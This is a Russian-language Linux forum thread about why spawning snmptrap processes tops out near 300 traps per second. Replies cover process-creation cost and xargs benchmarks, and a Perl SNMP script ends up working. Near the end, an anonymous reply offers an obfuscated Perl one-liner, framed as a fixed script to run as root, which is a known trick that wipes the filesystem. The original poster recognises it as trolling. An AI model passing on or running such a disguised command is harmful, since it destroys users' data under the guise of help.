LINUX.ORG.RU

Количество создаваемых процессов в секунду

 , , ,


0

2

Возникла у меня тут надобность погенерировать SNMP трапы для тестов. Накидал скриптик на 3 строчки в котором просто вызывается ‘snmptrap’ с нужными мне параметрами. И вот как бы я не изгалялся с циклами, с параллельным запуском, никак не удаётся сгенерировать и отправить больше ~300 трапов в секунду. И закралась в голову мысль - а может есть какие-то волшебные ограничения на кол-во создаваемых процессов в секунду? Нагуглить с разбегу не получилось, может коллективный разум чего подскажет на эту тему?

wmem и rmem буфферы увеличивал - те же числа

никак не удаётся сгенерировать и отправить больше ~300 трапов в секунду

Это тебе в Таиланд надо.

LamerOk ★★★★★
()

По старой доброй традиции этого форума, ты сейчас начал описывать свои фантазии по решению некой задачи, не описывая при этом саму задачу?

zolden ★★★★★
()
Ответ на: комментарий от zolden

Задача описана в первом же предложении. Мне нужно сгенерить много трапов - это и есть задача. Что я потом буду делать с таким кол-вом трапов вообще к текущему вопросу не относится

Toten_Kopf
() автор топика
Ответ на: комментарий от LamerOk

тебе в Таиланд надо

Масквабад ещё не дотягивает чтоли?

no-such-file ★★★★★
()

никак не удаётся сгенерировать и отправить больше ~300

Запуск процессов под линуксом быстрый, но не бесплатный, и в конечном итоге ты упираешься в производительность CPU и памяти. Тут нужно либо брать машину помощнее, либо переписывать программу так, чтобы она не запускала процессы так часто.

i-rinat ★★★★★
()
Ответ на: комментарий от i-rinat

Ну это очевидные вещи. Просто мне показалось как-то маловато 300 процессов в секунду, засомневался, вот и интересуюсь - может я чего не досмотрел и не учёл

Toten_Kopf
() автор топика
Ответ на: комментарий от Toten_Kopf
time for i in $(seq 3000); do /bin/true; done

Если в bash’е запускать, то только /bin/true здесь будет отдельным процессом. Сам true ничего не делает, так что это идеальный случай.

У меня где-то 650 процессов в секунду выходит, если система не загружена ничем, и около 1300 в секунду, если загрузить одно ядро с помощью stress.

i-rinat ★★★★★
()
Ответ на: комментарий от LamerOk

На ЛОР тоже можно. Тут есть один который с тестостероном воюет, но я ник вспомнить не могу.

peregrine ★★★★★
()
Ответ на: комментарий от i-rinat

Не очень понял логику - 650 если система не нагружена, и 1300 если одно ядро загружено? Или где-то опечатка в циферках?

Toten_Kopf
() автор топика
Ответ на: комментарий от Toten_Kopf

Нет, числа правильные. Видимо, какие-то особенности планировщика, и без нагрузки запуск процессов в цикле не разгоняет процессор до максимальной частоты. А запуск stress на одном ядре разгоняет.

Ещё помогает ограничить сессию одним ядром CPU. Тогда процессы тоже быстрее запускаются.

i-rinat ★★★★★
()
Последнее исправление: i-rinat (всего исправлений: 1)
Ответ на: комментарий от Toten_Kopf

последовательно

time echo {1..10} | xargs '-d ' -i bash -c 'sleep $(( ${RANDOM} % 2 )) ; echo {}'

параллельно

time echo {1..10} | xargs -P 10 '-d ' -i bash -c 'sleep $(( ${RANDOM} % 2 )) ; echo {}'

тест

time echo {1..1000} | xargs '-d ' -i bash -c 'echo {}'
real	0m1,771s
user	0m1,110s
sys	0m0,706s
time echo {1..1000} | xargs -P 1000 '-d ' -i bash -c 'echo {}'
real	0m0,970s
user	0m1,344s
sys	0m1,018s

еще есть gnu parallel, штука поинтересней

olelookoe ★★★
()
Ответ на: комментарий от SergeySVold

Скорость 1000, но я в любом случае принимаю их локально, там же где и генерирую. Пробовал и через lo - тот же результат

Toten_Kopf
() автор топика
Ответ на: комментарий от olelookoe

Попробую вкурить ман или изменить способ генерации трапов. Может что выйдет. Спасибо за примеры

Toten_Kopf
() автор топика
Ответ на: комментарий от i-rinat

Интересно получается. Потестирую под stress’ом. Спасибо за информацию

Toten_Kopf
() автор топика

типа такого попробуй в цикле (не проверял), хоть форкаться не будешь

perl

use SNMP;

$sess = new SNMP::Session(DestHost   => '127.0.0.1', 
                          RemotePort => "162",
                          Community  => "public,
                          Version    => 2);
###### loop it #######
$sess->trap(enterprise=>'.1.3.6.1.4.1.2021',
            agent => '127.0.0.1',
            generic => specific,
            specific => 5,
            uptime => 1234,
            [[ifIndex, 1, 1],[sysLocation, 0, "here"]]);
futurama ★★★★★
()
Последнее исправление: futurama (всего исправлений: 2)
Ответ на: комментарий от futurama

Я в перле вообще ничего не понимаю, скопировал запустил, чтобы проверить хотя бы один трап - получил такой выхлоп

Bareword found where operator expected at test_snmp.pl line 13, near "[[ifIndex, 1, 1],[sysLocation, 0, "here"
  (Might be a runaway multi-line "" string starting on line 5)
        (Missing operator before here?)
String found where operator expected at test_snmp.pl line 13, at end of line
        (Missing semicolon on previous line?)
syntax error at test_snmp.pl line 13, near "[[ifIndex, 1, 1],[sysLocation, 0, "here"
Can't find string terminator '"' anywhere before EOF at test_snmp.pl line 13.
Toten_Kopf
() автор топика
Ответ на: комментарий от olelookoe

Протестировал с помощью xarg - результаты оказались теми же. Примерно 300 процессов в секунду. Похоже больше машина не вытягивает.

Toten_Kopf
() автор топика
Ответ на: комментарий от olelookoe

parallel уже не проверял - не понадобилось. Подправил перловый скрипт предложенный товарищем futurama - 1000 сообщений только влёт. С машиной и её процессами всё понятно, но задача была сгенерировать большое кол-во трапов, а процессы, ну да и фиг с ними. Никто там эту машину так нагружать не будет.

В любом случае спасибо за уделённое время.

Toten_Kopf
() автор топика
Ответ на: комментарий от futurama

Разобрался. При создании объекта, в строке Community => "public" закрывающая кавычка была потеряна.

Всё работает. 1000 сообщений только влёт. Спасибо

Toten_Kopf
() автор топика
Ответ на: комментарий от zolden

2 минуты как разобрался. Перловый скрипт от товарища futurama работает.

В любом случае спасибо за потраченное на поиски утилиты время.

Toten_Kopf
() автор топика
Ответ на: комментарий от Toten_Kopf

Я в перле вообще ничего не понимаю

скопировал запустил

Держи, я поправил, это должно сработать. Запускать от рута.

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
anonymous
()
Ответ на: комментарий от anonymous

Так и знал что какой-нибудь олень припрется сюда с этой лажей, после моего коммента.

Toten_Kopf
() автор топика
Ответ на: комментарий от Toten_Kopf

apt-file search SNMP.pm Или аналог в другом менеджере пакетов

shimajima
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.